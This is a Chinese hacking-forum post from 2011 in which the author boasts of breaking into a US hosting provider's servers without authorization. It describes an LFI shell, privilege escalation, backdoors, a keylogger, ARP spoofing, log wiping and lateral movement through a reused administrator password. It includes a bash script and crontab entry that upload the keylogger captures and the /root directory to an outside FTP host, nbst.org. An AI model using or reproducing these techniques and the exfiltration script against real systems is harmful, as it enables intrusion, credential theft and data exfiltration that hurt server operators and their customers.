*本帖最后由 无缘 于 2011-7-27 19:57 编辑*

文章来源：[www.hake.cc](http://www.hake.cc)

作者：**碎天**

  渗透一大型美国IDC小记

#ps:过几天去找工作了,不能陪你们这群鸟人混日子了.昨晚就一直在琢磨给你们这些MJJ留点神马,保留个好形象,这不 尼玛在那考虑做点BT的基础教程,windows的网上一搜一堆,所以你们需要点啥教程现在也可以找我说一下,当然得在我能力内啊尼玛.刚才翻文件的时候翻到了这些渗透留下来的部分图片,才想起前几天记得要写来着 = =,现在就补上来吧。  
本次渗透纯属蛋疼无聊玩玩而已,没目的。上个月某日找站练习LFI的时候遇到一个HK的.  
PHP+APACHE+MYSQL  
轻而易举利用LFI包含APACHE日志拿了shell。提权也没什么色彩,2.6.18-194.  
使用2010那个194的刚好提下.然后上了后门,也就走了。大概过了几天吧,给人提权,需要反弹shell，就上这服务器去反弹了.完事随便查看一下服务器情况,尼玛啊,伤不起啊,一个ifconfig 几十个IP啊...双网卡,还有一块网卡10.21.\*.\*的,之后就有邪恶的念头了.难得有内网给我多学学渗透啊,还是linux的 不错不错...  
本文正式开始:因为拿到的服务器是Linux,双网卡,几十个IP,第一反应就知道这货不小,于是各种Wireshark、Nmap、John 各种下.cat出/etc/passwd和/etc/shadow 文件 拷贝出来拿John各种跑.  
nmap扫内网网卡 发现IP还挺多,大多还是windows2003。然后就有了几个思路:  
1.爆破windows的mssql mysql等等  
  
2.查询内网网卡windows服务器上的WEB站点,然后从站下手  
3.跑出root密码 尝试社  
4.溢出  
===========================================================  
我采用的是全部一起上,哈哈 = =,果断在白天开工,本来打算晚上的.可别忘了美国和中国的时差,当然也许是中国在美国的IDC机房.  
cat /etc/sysconfig/clock  
date  
皆查出确实是美国时区.于是挂几个下载metasploit\wireshark\nmap\ettercap\nc 等等常用到的工具.之后便退出服务器.  
第二日早上9点.正式开工.nmap扫描得知内网大概只有10台左右服务器,全部皆装有mysql\iis。部分windows2003sp3 部分RedHat8  
尝试MSF MS08-067全部未果,然后就想到了MS10\_046快捷方式远程代码执行了。最近一个了, 可我们知道MS10-046可没MS08-067那么给力直接溢出,还得他访问我的页面才行.ARP欺骗+MS10\_046倒是可行,可这还得等管理员正 好在服务器,浏览网站才行...那怎么办呢?一时没好的办法,就去下了个Nessus也给装上,尼玛,想着Nessus通通扫一遍.全命令行搞 Nessus 真把我给折腾的蛋疼,接着便又去下了VNC给装上,尼玛不信没办法。通过Nessus扫描,只发现有一台服务器相对其他服务器开放的端口、服务较多,仅此 而已,无奈ROOT密码 mssql\mysql全部无果,哪怕是一个guest也给没给我爆出来,一个高危漏洞也没爆出来.看来这管理员还挺给力.之后翻遍各种 history 、profile也始终无果,  
iptables -L -n  
iptables -t nat -L -n  
得出一条目前为止算是有价值的信息:  
iptables –t nat –A PREROUTING –s 10.21.\*.42 -p tcp --dport 80 -j REDIRECT – –to-posts 3128  
可以判断 他的内网是通过\*.42这台squid代理服务器上网的.之后到exploit-db找到一个Squid NTLM认证的溢出EXP  
<http://www.exploit-db.com/exploits/16847/>  
但是是04年的玩意啊 情何以堪啊.就Nmap\Nessus扫描情况来看 这完全不可能啊.  
于是开始蛋疼了.冲动了...果断装了WZT的键盘记录。然后把本服务器上得APACHE、MYSQL全停了,坐等管理员上来收摊子截获密码.顺便msf把ms10\_046也开启、ARP欺骗搞上。第二天再去上,悲剧鸟...权限丢了。后门被清....  
傻眼了吧,没关系,我可没那么傻, 如此惹管理,谁都知道会悲剧.我自然先就做好了措施,编写脚本如下:

#!/bin/bash  
  
tar zxvf /tmp/kloger /tmp/kloger/kloger.tar.gz  
tar zxvf /root/ /tmp/kloger/root.tar.gz  
ftp -i -n < open nbst.org  
user FTP用户名 FTP密码  
lcd /tmp/kloger  
cd www/  
put kloger.tar.gz  
put root.tar.gz  
close  
bye

把脚本放到/usr/local/apache/apache.sh  
然后添加到计划任务/etc/crontab :  
00 00 \* \* 0 root /usr/local/apache/apache.sh  
之后重启计划任务服务:  
/etc/rc.d/init.d/crond restart  
这样一来,在每天0点就会自动把键盘记录的内容和ROOT目录内容备份到我的空间.备份ROOT目录主要是看一些管理员上来的操作记录获取信息.邪恶吧.记得擦干净日志....  
之后上空间理所当然的找到了上传的两个GZ包包,因为服务器的网站已经恢复了  
管理已经上过了 O(∩\_∩)O哈哈~.  
成功记录到密码:^\*%%^&^\*\*\*\*\*\*\*0704 （中间7个\*号为和谐物,原密码也是7位。）  
这密码真够坑爹。 = =,不然也不会跑不出了。果断拿去尝试之前那台内网windows服务器.果断成功,这里我得提下,端口不是3389 是  
32425,不用说怎么知道的吧。。。 nmap -sS -sV 你懂得。  
真是一阵激动啊,终于还是暴力邪恶的办法拿到了一台服务器,但是,我没意识到接下来的悲剧...  
windows上去,同样是双网卡,几十个IP。有外网,远程桌面开着,端口也是32425然后本地连上去.果断net view 等等一堆.结果就悲剧了。  
来个图吧,尼玛  
写半天没啥图:  
  
  
  
（能有图只是因为这台服务器这几天渗透的时候上过）你们懂的,这管理员看的出来也不是个吃干饭的,不必要的服务、有危险的服务都全部删了...这就是为啥俺跑去吐司大牛求问那个Net view问题了。。所有必要的服务都被删、组件被删。后来吐司没解决,找人生也没解决  
悲剧啊.于是就放下了,也就停了十几天没有搞.因此前面无图无真相,不解释.  
果断十几天,就是前几天的事了,上了这台windows服务器,自然会留点什么(winlogonhack)  
  
一天最少要收到3 4次信,即使是这一台服务器而已.当然也许不是管理员(期间把权限给了黑小子玩).还是激发起了我的兴趣,反正是闲着24小时.于是就又一鼓作气上去继续  
开火.有了上次的经验,这次不会傻到看共享什么的了.走偏路...本文估计也就这点看头,其他的,网上黑阔都写有.直接来几张图吧,打字有点贼那啥..  
  
  
  
  
这次果断从管理员的使用痕迹上找线索...这似乎有点像是在抓黑阔了,哈哈, 会考虑这样做极大原因是人生那MJJ上次给我哈客以前服务器的权限  
然后从痕迹果断找到了现在服务器的密码杀的,哈哈,不过这是以前的事了,同学们要和谐,别来搞哈客。  
如图,上面有大量的FTP。然后在117bak目录找到MYSQL的备份数据库,下来找到配置密码.之后发现他装了一款非常不和谐的管理软件...密码活生生的明文写在XML配置文件中...  
  
接着,破解都不用了.继续找各种  
  
  
  
如你所见,用本服务器同样的密码  
在另外一台成功登陆!之后发现他得密码都是一样的。整个机房大概有三四个管理员,不同管理员管理不同的服务器,因为我发现这个管理员管理的所有服务器端口都是32425,而有部分服务器是默认的3389.接着就没啥好说的了:  
  
不过我还是挺佩服这个管理员,安全做的确实不错,除了MSTSC服务  
其他有威胁的服务  
全部被删、全部服务器补丁都是打全的、天天在线维护、监控被攻击IP之后删除、防火墙、组策略、全部应有尽有,仅仅只是死在了软件缺陷和密码相同问题上 = =,这也难怪,一个人管理这么多服务器,确实挺压力大 =。=

好了,基本没啥说的,吐槽一下狗日的DianXin....Wo Cao Ni Ma Bi,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
尼玛各种屏蔽...各种坑爹啊..文本的图片都只能用FTP IP上传了尼玛。。WEB访问现在表示·····也不是卡,就是尼玛直接不给你解析啊.哈哈。。备案、域名实名制、GFW,互联网越来越发达了,尼玛啊. 上个网站只需要身份证等个几个月就可以了啊.不错不错,还有各种门可看啊..高铁门我真不清楚,数字时代,用IP数字上网才是王道...域名见鬼去 吧,this is Tian(wo)....Chao= =

By isosky 2011-07-27